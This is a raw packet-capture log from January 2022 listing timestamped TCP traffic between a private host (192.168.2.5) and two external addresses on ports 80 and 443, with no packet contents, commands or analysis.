Jan 13, 2022 20:51:26.607794046 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607795954 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607820988 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607845068 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607847929 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607866049 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607868910 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.607887030 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.607917070 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.608163118 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.656605005 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.656646013 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.656677961 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.656758070 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.656773090 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.656821966 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.656833887 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.656841993 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.656908989 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.656918049 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.656938076 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.656991005 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.680720091 CET	80	49840	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:26.680994987 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.681174040 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.681495905 CET	49840	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:26.681663036 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.681703091 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.681811094 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.681936026 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.682219982 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.682390928 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.682459116 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.682476044 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.682574987 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.682784081 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.682838917 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.682898998 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.682907104 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.682909966 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.682975054 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.683041096 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.703915119 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.703944921 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.704026937 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.704036951 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.704085112 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.704122066 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.704144955 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.704189062 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.704195023 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.704215050 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.704231977 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.704365015 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.704412937 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.704473972 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.704480886 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.704494953 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.704531908 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.704672098 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.704695940 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.704737902 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.704744101 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.704772949 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.704802036 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.704921961 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.704943895 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.705023050 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.705032110 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.705049038 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.705368042 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.705414057 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.705478907 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.705498934 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.705524921 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.705585003 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.728306055 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.728364944 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.728442907 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.728461027 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.728493929 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.728514910 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.728701115 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.728743076 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.728796005 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.728811979 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.728827953 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.728948116 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.728984118 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.729044914 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.729065895 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.729078054 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.729182959 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.729217052 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.729264021 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.729279041 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.729304075 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.729338884 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.729439974 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.729475021 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.729525089 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.729537964 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.729561090 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.729585886 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.729691982 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.729728937 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.729780912 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.729794025 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.729825020 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.729845047 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.730019093 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.730057001 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.730106115 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.730119944 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.730138063 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.730254889 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.730292082 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.730341911 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.730357885 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.730374098 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.730412960 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.730519056 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.730555058 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.730603933 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.730618000 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.730634928 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.730674982 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.730771065 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.730808020 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.730855942 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.730870008 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.730895996 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.730994940 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.731034994 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.731087923 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.731101990 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.731117010 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.731153011 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.731215954 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.731262922 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.731308937 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.731328964 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.731342077 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.732753038 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.753912926 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.753985882 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.754070997 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.754100084 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.754122972 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.754153967 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.754333973 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.754390001 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.754414082 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.754436016 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.754460096 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.754692078 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.754748106 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.754776001 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.754800081 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.754834890 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.754863977 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.755086899 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.755142927 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.755178928 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.755194902 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.755213022 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.755247116 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.755435944 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.755492926 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.755530119 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.755547047 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.755565882 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.755594015 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.755789995 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.755848885 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.755878925 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.755896091 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.755923033 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.755937099 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.756076097 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.756104946 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.756150961 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.756160975 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.756191015 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.756210089 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.756274939 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.756310940 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.756350994 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.756359100 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.756383896 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.756406069 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.756470919 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.756500959 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.756539106 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.756546974 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.756581068 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.756598949 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.756663084 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.756690979 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.756730080 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.756738901 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.756767035 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.756784916 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.756850004 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.756882906 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.756922007 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.756930113 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.756968021 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.756988049 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.757054090 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.757086039 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.757138014 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.757145882 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.757181883 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.757200956 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.757241964 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.757270098 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.757313013 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.757319927 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.757363081 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.757376909 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.757427931 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.757457972 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.757503033 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.757514000 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.757538080 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.757560015 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.757620096 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.757675886 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.757730961 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.757739067 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.757750988 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.757785082 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.757888079 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.757920027 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.757965088 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.757976055 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.758009911 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.758028030 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.758102894 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.758150101 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.758212090 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.758222103 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.758275986 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.758311033 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.758333921 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.758341074 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.758363962 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.758380890 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.758425951 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.758438110 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.758512974 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.758542061 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.758562088 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.758570910 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.758609056 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.758657932 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.758708954 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.758739948 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.758786917 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.758795977 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.758826017 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.758847952 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.758892059 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.758923054 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.758979082 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.758990049 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.759027958 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.759051085 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.759079933 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.759113073 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.759154081 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.759160995 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.759192944 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.759207010 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.759270906 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.759298086 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.759344101 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.759351969 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.759390116 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.759413004 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.759434938 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.759466887 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.759541035 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.759550095 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.759598017 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.759607077 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.759619951 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.759624958 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.759675026 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.759759903 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.781544924 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.781594038 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.781656981 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.781667948 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.781707048 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.781717062 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.781724930 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.781771898 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.781779051 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.781840086 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.781900883 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.781924009 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.781989098 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.781996012 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.782036066 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.782084942 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.782107115 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.782149076 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.782157898 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.782171011 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.782193899 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.782289982 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.782329082 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.782367945 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.782375097 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.782411098 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.782428980 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.782465935 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.782488108 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.782530069 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.782536983 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.782565117 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.782586098 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.782641888 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.782660961 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.782706976 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.782713890 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.782748938 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.782763004 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.782870054 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.782902956 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.782968044 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.782984018 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.783030033 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.783046007 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.783081055 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.783104897 CET	443	49839	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:26.783159018 CET	49839	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:26.783174038 CET	443	49839	144.76.136.153	192.168.2.5
